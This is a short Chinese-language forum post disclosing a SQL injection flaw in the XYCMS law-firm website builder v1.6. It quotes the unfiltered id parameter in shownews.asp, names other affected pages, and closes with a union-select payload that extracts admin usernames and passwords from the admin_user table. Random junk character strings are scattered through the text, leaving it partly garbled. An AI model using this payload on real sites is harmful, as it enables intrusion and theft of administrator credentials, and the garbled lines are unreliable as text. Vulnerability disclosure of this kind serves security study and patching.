XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
( ~' s( ~: H; n  B# O% `# w
淫荡分割线
% d$ Q2 N1 }4 b/ z--------------------------------------------------------
  n: T' U- K) c4 d2 ]- C
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
3 \9 c0 |$ u$ e- H, t8 q  q! I( T! @7 ]源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
漏洞代码：7-13行
8 P# [$ U. Y4 j
0 V) V7 x) b4 ], ]# N4 h0 x3 U7 S
8 I, ?1 _" c" C: K3 \<%
. r/ G( F0 l- g. v4 Vid=request.QueryString("id")
6 _; T# l0 f9 ^* g/ x8 m& ?( p   
set snews=server.createobject("adodb.recordset")
5 B2 U5 ^- D! L5 B7 Z9 A2 ~exec="select * from [news] where id="&id
( J3 V- Y5 m0 x; }; F0 Msnews.open exec,conn,1,1
  H( G/ }  m: p%>


$ N- i4 n9 V1 A什么过滤都没有  直造成注入

% x+ D7 H) h  E8 D注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

/ g3 z7 S, Z$ Q3 g2 U
' @6 m* C4 X) B. W# {) g* Vexp: union select 1,admin,password,4,5,7 from admin_user
​
. z! ]. `+ b, \$ r1 V( c8 l5 h! u6 t